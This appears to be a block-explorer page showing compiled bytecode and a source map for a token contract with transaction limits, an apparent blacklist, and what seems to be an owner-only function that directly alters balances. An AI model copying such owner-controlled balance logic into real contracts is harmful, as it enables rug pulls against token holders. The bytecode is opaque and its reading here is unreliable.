0a01b038381169116148015610e4157506004543060009081526001602052604090205410155b15610e8f576003805461ff001916610100179055610e7c610e77306001600160a01b031660009081526001602052604090205490565b611028565b6003805461ff0019169055610e8f611192565b6008546001600160a01b0384811691161415610f6057600554811115610eec5760405162461bcd60e51b815260206004820152601260248201527113dd995c881b585e081d1e08185b5bdd5b9d60721b6044820152606401610478565b60065481610f0f846001600160a01b031660009081526001602052604090205490565b610f19919061164a565b1115610f605760405162461bcd60e51b815260206004820152601660248201527513dd995c881b585e081dd85b1b195d08185b5bdd5b9d60521b6044820152606401610478565b600854610f7e90849083906001600160a01b038681169116146111d3565b9050610e0e8383835b6001600160a01b03831660009081526001602052604081208054839290610faf908490611596565b90915550506001600160a01b03821660009081526001602052604081208054839290610fdc90849061164a565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c2791815260200190565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061105d5761105d611662565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110b157600080fd5b505afa1580156110c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e991906115e2565b816001815181106110fc576110fc611662565b6001600160a01b0392831660209182029290920101526007546111229130911684610b0f565b60075460095460405163791ac94760e01b81526001600160a01b039283169263791ac9479261115f92879260009288929116904290600401611693565b600060405180830381600087803b15801561117957600080fd5b505af192505050801561118a575060015b610974575050565b47156111d1576009546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156108f2573d6000803e3d6000fd5b565b600080826111ec5760035462010000900460ff166111fa565b6003546301000000900460ff165b60ff1690506000606461120d8387611577565b6112179190611704565b9050611224863083610f87565b61122e8186611596565b9695505050505050565b600060208083528351808285015260005b8181101561126557858101830151858201604001528201611249565b81811115611277576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108f257600080fd5b600080604083850312156112b557600080fd5b82356112c08161128d565b946020939093013593505050565b6000806000606084860312156112e357600080fd5b83356112ee8161128d565b925060208401356112fe8161128d565b929592945050506040919091013590565b60006020828403121561132157600080fd5b813561132c8161128d565b9392505050565b80151581146108f257600080fd5b6000806040838503121561135457600080fd5b82359150602083013561136681611333565b809150509250929050565b803560ff8116811461138257600080fd5b919050565b6000806040838503121561139a57600080fd5b6113a383611371565b91506113b160208401611371565b90509250929050565b6000806000604084860312156113cf57600080fd5b833567ffffffffffffffff808211156113e757600080fd5b818601915086601f8301126113fb57600080fd5b81358181111561140a57600080fd5b8760208260051b850101111561141f57600080fd5b6020928301955093505084013561143581611333565b809150509250925092565b6000806040838503121561145357600080fd5b823561145e8161128d565b915060208301356113668161128d565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156114bf5781600019048211156114a5576114a561146e565b808516156114b257918102915b93841c9390800290611489565b509250929050565b6000826114d6575060016103d5565b816114e3575060006103d5565b81600181146114f957600281146115035761151f565b60019150506103d5565b60ff8411156115145761151461146e565b50506001821b6103d5565b5060208310610133831016604e8410600b8410161715611542575081810a6103d5565b61154c8383611484565b80600019048211156115605761156061146e565b029392505050565b600061132c60ff8416836114c7565b60008160001904831182151516156115915761159161146e565b500290565b6000828210156115a8576115a861146e565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156115f457600080fd5b815161132c8161128d565b60008060006060848603121561161457600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561163f57600080fd5b815161132c81611333565b6000821982111561165d5761165d61146e565b500190565b634e487b7160e01b600052603260045260246000fd5b600060001982141561168c5761168c61146e565b5060010190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116e35784516001600160a01b0316835293830193918301916001016116be565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261172157634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220ec055a0a18751df10af3030fdf3a6753c39de5c91aaf96cad6264e093f32c2ab64736f6c63430008080033

Deployed Bytecode Sourcemap

2535:7023:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3857:83;;;;;;;;;;-1:-1:-1;3927:5:0;;;;;;;;;;;;-1:-1:-1;;;3927:5:0;;;;3857:83;;;;;;;:::i;:::-;;;;;;;;4690:161;;;;;;;;;;-1:-1:-1;4690:161:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;4690:161:0;1072:187:1;4134:95:0;;;;;;;;;;;;;:::i;:::-;;;1410:25:1;;;1398:2;1383:18;4134:95:0;1264:177:1;4859:266:0;;;;;;;;;;-1:-1:-1;4859:266:0;;;;;:::i;:::-;;:::i;4043:83::-;;;;;;;;;;-1:-1:-1;2884:2:0;4043:83;;;2079:4:1;2067:17;;;2049:36;;2037:2;2022:18;4043:83:0;1907:184:1;2788:23:0;;;;;;;;;;-1:-1:-1;2788:23:0;;;;;;;;;;;4237:119;;;;;;;;;;-1:-1:-1;4237:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;4330:18:0;4303:7;4330:18;;;:9;:18;;;;;;;4237:119;734:148;;;;;;;;;;;;;:::i;:::-;;7104:131;;;;;;;;;;;;;:::i;5476:641::-;;;;;;;;;;;;;:::i;520:79::-;;;;;;;;;;-1:-1:-1;558:7:0;585:6;520:79;;-1:-1:-1;;;;;585:6:0;;;2494:51:1;;2482:2;2467:18;520:79:0;2348:203:1;3948:87:0;;;;;;;;;;-1:-1:-1;4020:7:0;;;;;;;;;;;;-1:-1:-1;;;4020:7:0;;;;3948:87;;6885:211;;;;;;;;;;-1:-1:-1;6885:211:0;;;;;:::i;:::-;;:::i;4364:167::-;;;;;;;;;;-1:-1:-1;4364:167:0;;;;;:::i;:::-;;:::i;6125:210::-;;;;;;;;;;-1:-1:-1;6125:210:0;;;;;:::i;:::-;;:::i;6630:247::-;;;;;;;;;;-1:-1:-1;6630:247:0;;;;;:::i;:::-;;:::i;2818:24::-;;;;;;;;;;-1:-1:-1;2818:24:0;;;;;;;;;;;4539:143;;;;;;;;;;-1:-1:-1;4539:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;4647:18:0;;;4620:7;4647:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4539:143;4690:161;4765:4;4782:39;177:10;4805:7;4814:6;4782:8;:39::i;:::-;-1:-1:-1;4839:4:0;4690:161;;;;;:::o;4134:95::-;4187:7;2941:15;2884:2;2941;:15;:::i;:::-;2928:28;;:10;:28;:::i;:::-;4207:14;;4134:95;:::o;4859:266::-;4957:4;4974:36;4984:6;4992:9;5003:6;4974:9;:36::i;:::-;-1:-1:-1;;;;;5052:19:0;;;;;;:11;:19;;;;;;;;177:10;5052:33;;;;;;;;;5021:74;;5030:6;;5052:42;;5088:6;;5052:42;:::i;:::-;5021:8;:74::i;:::-;-1:-1:-1;5113:4:0;4859:266;;;;;:::o;734:148::-;647:6;;-1:-1:-1;;;;;647:6:0;177:10;647:22;639:67;;;;-1:-1:-1;;;639:67:0;;;;;;;:::i;:::-;;;;;;;;;841:1:::1;825:6:::0;;804:40:::1;::::0;-1:-1:-1;;;;;825:6:0;;::::1;::::0;804:40:::1;::::0;841:1;;804:40:::1;872:1;855:19:::0;;-1:-1:-1;;;;;;855:19:0::1;::::0;;734:148::o;7104:131::-;647:6;;-1:-1:-1;;;;;647:6:0;177:10;647:22;639:67;;;;-1:-1:-1;;;639:67:0;;;;;;;:::i;:::-;7172:13:::1;:11;:13::i;:::-;7158:11;:27:::0;7214:13:::1;:11;:13::i;:::-;7196:15;:31:::0;7104:131::o;5476:641::-;647:6;;-1:-1:-1;;;;;647:6:0;177:10;647:22;639:67;;;;-1:-1:-1;;;639:67:0;;;;;;;:::i;:::-;5540:14:::1;::::0;::::1;;5539:15;5531:43;;;::::0;-1:-1:-1;;;5531:43:0;;6940:2:1;5531:43:0::1;::::0;::::1;6922:21:1::0;6979:2;6959:18;;;6952:30;-1:-1:-1;;;6998:18:1;;;6991:45;7053:18;;5531:43:0::1;6738:339:1::0;5531:43:0::1;5585:14;:21:::0;;-1:-1:-1;;5585:21:0::1;5602:4;5585:21;::::0;;5617:15:::1;:80:::0;;-1:-1:-1;;;;;;5617:80:0::1;5654:42;5617:80:::0;;::::1;::::0;;;5708:58:::1;::::0;5725:4:::1;::::0;2941:15:::1;2884:2;2941;:15;:::i;:::-;2928:28;::::0;:10:::1;:28;:::i;5708:58::-;5811:15;;;;;;;;;-1:-1:-1::0;;;;;5811:15:0::1;-1:-1:-1::0;;;;;5811:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5793:55:0::1;;5857:4;5864:15;;;;;;;;;-1:-1:-1::0;;;;;5864:15:0::1;-1:-1:-1::0;;;;;5864:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5793:94;::::0;-1:-1:-1;;;;;;5793:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7568:15:1;;;5793:94:0::1;::::0;::::1;7550:34:1::0;7620:15;;7600:18;;;7593:43;7485:18;;5793:94:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5777:13;:110:::0;;-1:-1:-1;;;;;5777:110:0;;::::1;-1:-1:-1::0;;;;;;5777:110:0;;::::1;;::::0;;5898:15:::1;::::0;::::1;:31;5937:21;5968:4;5974:24;5968:4:::0;-1:-1:-1;;;;;4330:18:0;4303:7;4330:18;;;:9;:18;;;;;;;4237:119;5974:24:::1;5999:1;6001::::0;6003:7:::1;558::::0;585:6;-1:-1:-1;;;;;585:6:0;;520:79;6003:7:::1;5898:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;5898:129:0;;;-1:-1:-1;;;;;8006:15:1;;;5898:129:0::1;::::0;::::1;7988:34:1::0;8038:18;;;8031:34;;;;8081:18;;;8074:34;;;;8124:18;;;8117:34;8188:15;;;8167:19;;;8160:44;6011:15:0::1;8220:19:1::0;;;8213:35;7922:19;;5898:129:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6045:13:0::1;::::0;6076:15:::1;::::0;6038:71:::1;::::0;-1:-1:-1;;;6038:71:0;;-1:-1:-1;;;;;6076:15:0;;::::1;6038:71;::::0;::::1;8744:51:1::0;-1:-1:-1;;8811:18:1;;;8804:34;6045:13:0;::::1;::::0;-1:-1:-1;6038:29:0::1;::::0;8717:18:1;;6038:71:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;5476:641::o:0;6885:211::-;647:6;;-1:-1:-1;;;;;647:6:0;177:10;647:22;639:67;;;;-1:-1:-1;;;639:67:0;;;;;;;:::i;:::-;6960:4:::1;6956:89;;;6991:10;6981:21;::::0;;;:9:::1;:21;::::0;;;;:31;;7006:6;;6981:21;:31:::1;::::0;7006:6;;6981:31:::1;:::i;:::-;::::0;;;-1:-1:-1;7027:7:0::1;::::0;-1:-1:-1;7027:7:0::1;6956:89;7067:10;7057:21;::::0;;;:9:::1;:21;::::0;;;;:31;;7082:6;;7057:21;:31:::1;::::0;7082:6;;7057:31:::1;:::i;:::-;::::0;;;-1:-1:-1;;717:1:0::1;6885:211:::0;;:::o;4364:167::-;4442:4;4459:42;177:10;4483:9;4494:6;4459:9;:42::i;6125:210::-;647:6;;-1:-1:-1;;;;;647:6:0;177:10;647:22;639:67;;;;-1:-1:-1;;;639:67:0;;;;;;;:::i;:::-;6227:3:::1;6214:9;:16;;;;:37;;;;;6248:3;6234:10;:17;;;;6214:37;6206:61;;;::::0;-1:-1:-1;;;6206:61:0;;9434:2:1;6206:61:0::1;::::0;::::1;9416:21:1::0;9473:2;9453:18;;;9446:30;-1:-1:-1;;;9492:18:1;;;9485:41;9543:18;;6206:61:0::1;9232:335:1::0;6206:61:0::1;6278:6;:18:::0;;-1:-1:-1;;6307:20:0;6278:18;::::1;::::0;;::::1;;-1:-1:-1::0;;6307:20:0;;;;;;::::1;::::0;;;::::1;::::0;;;::::1;::::0;;6125:210::o;6630:247::-;647:6;;-1:-1:-1;;;;;647:6:0;177:10;647:22;639:67;;;;-1:-1:-1;;;639:67:0;;;;;;;:::i;:::-;6731:16;6723:40:::1;;;::::0;-1:-1:-1;;;6723:40:0;;9774:2:1;6723:40:0::1;::::0;::::1;9756:21:1::0;9813:2;9793:18;;;9786:30;-1:-1:-1;;;9832:18:1;;;9825:41;9883:18;;6723:40:0::1;9572:335:1::0;6723:40:0::1;6779:9;6774:96;6790:16:::0;;::::1;6774:96;;;6851:7;6828:10;:20;6839:5;;6845:1;6839:8;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6828:20:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;6828:20:0;:30;;-1:-1:-1;;6828:30:0::1;::::0;::::1;;::::0;;;::::1;::::0;;6808:3;::::1;::::0;::::1;:::i;:::-;;;;6774:96;;;;6630:247:::0;;;:::o;5133:335::-;-1:-1:-1;;;;;5226:19:0;;5218:68;;;;-1:-1:-1;;;5218:68:0;;10386:2:1;5218:68:0;;;10368:21:1;10425:2;10405:18;;;10398:30;10464:34;10444:18;;;10437:62;-1:-1:-1;;;10515:18:1;;;10508:34;10559:19;;5218:68:0;10184:400:1;5218:68:0;-1:-1:-1;;;;;5305:21:0;;5297:68;;;;-1:-1:-1;;;5297:68:0;;10791:2:1;5297:68:0;;;10773:21:1;10830:2;10810:18;;;10803:30;10869:34;10849:18;;;10842:62;-1:-1:-1;;;10920:18:1;;;10913:32;10962:19;;5297:68:0;10589:398:1;5297:68:0;-1:-1:-1;;;;;5376:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5428:32;;1410:25:1;;;5428:32:0;;1383:18:1;5428:32:0;;;;;;;;5133:335;;;:::o;7448:1122::-;7546:1;7537:6;:10;7529:34;;;;-1:-1:-1;;;7529:34:0;;11194:2:1;7529:34:0;;;11176:21:1;11233:2;11213:18;;;11206:30;-1:-1:-1;;;11252:18:1;;;11245:41;11303:18;;7529:34:0;10992:335:1;7529:34:0;-1:-1:-1;;;;;7583:16:0;;;;;;:10;:16;;;;;;;;7582:17;:36;;;;-1:-1:-1;;;;;;7604:14:0;;;;;;:10;:14;;;;;;;;7603:15;7582:36;7574:61;;;;-1:-1:-1;;;7574:61:0;;11534:2:1;7574:61:0;;;11516:21:1;11573:2;11553:18;;;11546:30;-1:-1:-1;;;11592:18:1;;;11585:42;11644:18;;7574:61:0;11332:336:1;7574:61:0;7653:14;;;;7648:130;;-1:-1:-1;;;;;7692:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;7720:22:0;;;;;;:18;:22;;;;;;;;7692:50;7684:82;;;;-1:-1:-1;;;7684:82:0;;11875:2:1;7684:82:0;;;11857:21:1;11914:2;11894:18;;;11887:30;-1:-1:-1;;;11933:18:1;;;11926:49;11992:18;;7684:82:0;11673:343:1;7684:82:0;7802:13;;-1:-1:-1;;;;;7794:21:0;;;7802:13;;7794:21;;;;:44;;-1:-1:-1;7825:13:0;;-1:-1:-1;;;;;7819:19:0;;;7825:13;;7819:19;;7794:44;:72;;;-1:-1:-1;;;;;;7842:24:0;;;;;;:18;:24;;;;;;;;7794:72;:98;;;-1:-1:-1;;;;;;7870:22:0;;;;;;:18;:22;;;;;;;;7794:98;:110;;;-1:-1:-1;7896:8:0;;;;;;;7794:110;7790:196;;;7921:32;7936:4;7942:2;7946:6;7921:14;:32::i;:::-;7448:1122;;;:::o;7790:196::-;8008:13;;-1:-1:-1;;;;;8002:19:0;;;8008:13;;8002:19;:69;;;;-1:-1:-1;8053:18:0;;8043:4;4303:7;4330:18;;;:9;:18;;;;;;8025:46;;8002:69;7998:240;;;8088:8;:15;;-1:-1:-1;;8088:15:0;;;;;8118:42;8135:24;8153:4;-1:-1:-1;;;;;4330:18:0;4303:7;4330:18;;;:9;:18;;;;;;;4237:119;8135:24;8118:16;:42::i;:::-;8175:8;:16;;-1:-1:-1;;8175:16:0;;;8206:20;:18;:20::i;:::-;8262:13;;-1:-1:-1;;;;;8254:21:0;;;8262:13;;8254:21;8250:206;;;8310:11;;8300:6;:21;;8292:52;;;;-1:-1:-1;;;8292:52:0;;12223:2:1;8292:52:0;;;12205:21:1;12262:2;12242:18;;;12235:30;-1:-1:-1;;;12281:18:1;;;12274:48;12339:18;;8292:52:0;12021:342:1;8292:52:0;8402:15;;8392:6;8367:22;8385:2;-1:-1:-1;;;;;4330:18:0;4303:7;4330:18;;;:9;:18;;;;;;;4237:119;8367:22;:31;;;;:::i;:::-;:50;;8359:85;;;;-1:-1:-1;;;8359:85:0;;12570:2:1;8359:85:0;;;12552:21:1;12609:2;12589:18;;;12582:30;-1:-1:-1;;;12628:18:1;;;12621:52;12690:18;;8359:85:0;12368:346:1;8359:85:0;8505:13;;8477:42;;8485:4;;8491:6;;-1:-1:-1;;;;;8499:19:0;;;8505:13;;8499:19;8477:7;:42::i;:::-;8468:51;;8530:32;8545:4;8551:2;8555:6;7243:197;-1:-1:-1;;;;;7329:15:0;;;;;;:9;:15;;;;;:25;;7348:6;;7329:15;:25;;7348:6;;7329:25;:::i;:::-;;;;-1:-1:-1;;;;;;;7365:13:0;;;;;;:9;:13;;;;;:23;;7382:6;;7365:13;:23;;7382:6;;7365:23;:::i;:::-;;;;;;;;7421:2;-1:-1:-1;;;;;7406:26:0;7415:4;-1:-1:-1;;;;;7406:26:0;;7425:6;7406:26;;;;1410:25:1;;1398:2;1383:18;;1264:177;8875:516:0;8966:16;;;8980:1;8966:16;;;;;;;;8942:21;;8966:16;;;;;;;;;;-1:-1:-1;8966:16:0;8942:40;;9011:4;8993;8998:1;8993:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;8993:23:0;;;:7;;;;;;;;;;:23;;;;9037:15;;:22;;;-1:-1:-1;;;9037:22:0;;;;:15;;;;;:20;;:22;;;;;8993:7;;9037:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9027:4;9032:1;9027:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;9027:32:0;;;:7;;;;;;;;;:32;9104:15;;9072:62;;9089:4;;9104:15;9122:11;9072:8;:62::i;:::-;9149:15;;9291:9;;9149:192;;-1:-1:-1;;;9149:192:0;;-1:-1:-1;;;;;9149:15:0;;;;:66;;:192;;9230:11;;9149:15;;9272:4;;9291:9;;;9315:15;;9149:192;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9145:239;;9366:7;8875:516;:::o;9399:156::-;9453:21;:25;9449:99;;9495:9;;:41;;-1:-1:-1;;;;;9495:9:0;;;;9514:21;9495:41;;;;;:9;:41;:9;:41;9514:21;9495:9;:41;;;;;;;;;;;;;;;;;;;9449:99;9399:156::o;8578:289::-;8656:7;8676:11;8690:6;:25;;8709:6;;;;;;;8690:25;;;8699:7;;;;;;;8690:25;8676:39;;;-1:-1:-1;8726:17:0;8761:3;8746:12;8676:39;8746:6;:12;:::i;:::-;:18;;;;:::i;:::-;8726:38;;8777:46;8792:4;8806;8813:9;8777:14;:46::i;:::-;8841:18;8850:9;8841:6;:18;:::i;:::-;8834:25;8578:289;-1:-1:-1;;;;;;8578:289:0:o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;752:315;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1446:456::-;1523:6;1531;1539;1592:2;1580:9;1571:7;1567:23;1563:32;1560:52;;;1608:1;1605;1598:12;1560:52;1647:9;1634:23;1666:31;1691:5;1666:31;:::i;:::-;1716:5;-1:-1:-1;1773:2:1;1758:18;;1745:32;1786:33;1745:32;1786:33;:::i;:::-;1446:456;;1838:7;;-1:-1:-1;;;1892:2:1;1877:18;;;;1864:32;;1446:456::o;2096:247::-;2155:6;2208:2;2196:9;2187:7;2183:23;2179:32;2176:52;;;2224:1;2221;2214:12;2176:52;2263:9;2250:23;2282:31;2307:5;2282:31;:::i;:::-;2332:5;2096:247;-1:-1:-1;;;2096:247:1:o;2556:118::-;2642:5;2635:13;2628:21;2621:5;2618:32;2608:60;;2664:1;2661;2654:12;2679:309;2744:6;2752;2805:2;2793:9;2784:7;2780:23;2776:32;2773:52;;;2821:1;2818;2811:12;2773:52;2857:9;2844:23;2834:33;;2917:2;2906:9;2902:18;2889:32;2930:28;2952:5;2930:28;:::i;:::-;2977:5;2967:15;;;2679:309;;;;;:::o;2993:156::-;3059:20;;3119:4;3108:16;;3098:27;;3088:55;;3139:1;3136;3129:12;3088:55;2993:156;;;:::o;3154:252::-;3218:6;3226;3279:2;3267:9;3258:7;3254:23;3250:32;3247:52;;;3295:1;3292;3285:12;3247:52;3318:27;3335:9;3318:27;:::i;:::-;3308:37;;3364:36;3396:2;3385:9;3381:18;3364:36;:::i;:::-;3354:46;;3154:252;;;;;:::o;3411:750::-;3503:6;3511;3519;3572:2;3560:9;3551:7;3547:23;3543:32;3540:52;;;3588:1;3585;3578:12;3540:52;3628:9;3615:23;3657:18;3698:2;3690:6;3687:14;3684:34;;;3714:1;3711;3704:12;3684:34;3752:6;3741:9;3737:22;3727:32;;3797:7;3790:4;3786:2;3782:13;3778:27;3768:55;;3819:1;3816;3809:12;3768:55;3859:2;3846:16;3885:2;3877:6;3874:14;3871:34;;;3901:1;3898;3891:12;3871:34;3956:7;3949:4;3939:6;3936:1;3932:14;3928:2;3924:23;3920:34;3917:47;3914:67;;;3977:1;3974;3967:12;3914:67;4008:4;4000:13;;;;-1:-1:-1;4032:6:1;-1:-1:-1;;4073:20:1;;4060:34;4103:28;4060:34;4103:28;:::i;:::-;4150:5;4140:15;;;3411:750;;;;;:::o;4166:388::-;4234:6;4242;4295:2;4283:9;4274:7;4270:23;4266:32;4263:52;;;4311:1;4308;4301:12;4263:52;4350:9;4337:23;4369:31;4394:5;4369:31;:::i;:::-;4419:5;-1:-1:-1;4476:2:1;4461:18;;4448:32;4489:33;4448:32;4489:33;:::i;4559:127::-;4620:10;4615:3;4611:20;4608:1;4601:31;4651:4;4648:1;4641:15;4675:4;4672:1;4665:15;4691:422;4780:1;4823:5;4780:1;4837:270;4858:7;4848:8;4845:21;4837:270;;;4917:4;4913:1;4909:6;4905:17;4899:4;4896:27;4893:53;;;4926:18;;:::i;:::-;4976:7;4966:8;4962:22;4959:55;;;4996:16;;;;4959:55;5075:22;;;;5035:15;;;;4837:270;;;4841:3;4691:422;;;;;:::o;5118:806::-;5167:5;5197:8;5187:80;;-1:-1:-1;5238:1:1;5252:5;;5187:80;5286:4;5276:76;;-1:-1:-1;5323:1:1;5337:5;;5276:76;5368:4;5386:1;5381:59;;;;5454:1;5449:130;;;;5361:218;;5381:59;5411:1;5402:10;;5425:5;;;5449:130;5486:3;5476:8;5473:17;5470:43;;;5493:18;;:::i;:::-;-1:-1:-1;;5549:1:1;5535:16;;5564:5;;5361:218;;5663:2;5653:8;5650:16;5644:3;5638:4;5635:13;5631:36;5625:2;5615:8;5612:16;5607:2;5601:4;5598:12;5594:35;5591:77;5588:159;;;-1:-1:-1;5700:19:1;;;5732:5;;5588:159;5779:34;5804:8;5798:4;5779:34;:::i;:::-;5849:6;5845:1;5841:6;5837:19;5828:7;5825:32;5822:58;;;5860:18;;:::i;:::-;5898:20;;5118:806;-1:-1:-1;;;5118:806:1:o;5929:140::-;5987:5;6016:47;6057:4;6047:8;6043:19;6037:4;6016:47;:::i;6074:168::-;6114:7;6180:1;6176;6172:6;6168:14;6165:1;6162:21;6157:1;6150:9;6143:17;6139:45;6136:71;;;6187:18;;:::i;:::-;-1:-1:-1;6227:9:1;;6074:168::o;6247:125::-;6287:4;6315:1;6312;6309:8;6306:34;;;6320:18;;:::i;:::-;-1:-1:-1;6357:9:1;;6247:125::o;6377:356::-;6579:2;6561:21;;;6598:18;;;6591:30;6657:34;6652:2;6637:18;;6630:62;6724:2;6709:18;;6377:356::o;7082:251::-;7152:6;7205:2;7193:9;7184:7;7180:23;7176:32;7173:52;;;7221:1;7218;7211:12;7173:52;7253:9;7247:16;7272:31;7297:5;7272:31;:::i;8259:306::-;8347:6;8355;8363;8416:2;8404:9;8395:7;8391:23;8387:32;8384:52;;;8432:1;8429;8422:12;8384:52;8461:9;8455:16;8445:26;;8511:2;8500:9;8496:18;8490:25;8480:35;;8555:2;8544:9;8540:18;8534:25;8524:35;;8259:306;;;;;:::o;8849:245::-;8916:6;8969:2;8957:9;8948:7;8944:23;8940:32;8937:52;;;8985:1;8982;8975:12;8937:52;9017:9;9011:16;9036:28;9058:5;9036:28;:::i;9099:128::-;9139:3;9170:1;9166:6;9163:1;9160:13;9157:39;;;9176:18;;:::i;:::-;-1:-1:-1;9212:9:1;;9099:128::o;9912:127::-;9973:10;9968:3;9964:20;9961:1;9954:31;10004:4;10001:1;9994:15;10028:4;10025:1;10018:15;10044:135;10083:3;-1:-1:-1;;10104:17:1;;10101:43;;;10124:18;;:::i;:::-;-1:-1:-1;10171:1:1;10160:13;;10044:135::o;12851:988::-;13121:4;13169:3;13158:9;13154:19;13200:6;13189:9;13182:25;13226:2;13264:6;13259:2;13248:9;13244:18;13237:34;13307:3;13302:2;13291:9;13287:18;13280:31;13331:6;13366;13360:13;13397:6;13389;13382:22;13435:3;13424:9;13420:19;13413:26;;13474:2;13466:6;13462:15;13448:29;;13495:1;13505:195;13519:6;13516:1;13513:13;13505:195;;;13584:13;;-1:-1:-1;;;;;13580:39:1;13568:52;;13675:15;;;;13640:12;;;;13616:1;13534:9;13505:195;;;-1:-1:-1;;;;;;;13756:32:1;;;;13751:2;13736:18;;13729:60;-1:-1:-1;;;13820:3:1;13805:19;13798:35;13717:3;12851:988;-1:-1:-1;;;12851:988:1:o;13844:217::-;13884:1;13910;13900:132;;13954:10;13949:3;13945:20;13942:1;13935:31;13989:4;13986:1;13979:15;14017:4;14014:1;14007:15;13900:132;-1:-1:-1;14046:9:1;;13844:217::o

Swarm Source

ipfs://ec055a0a18751df10af3030fdf3a6753c39de5c91aaf96cad6264e093f32c2ab
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.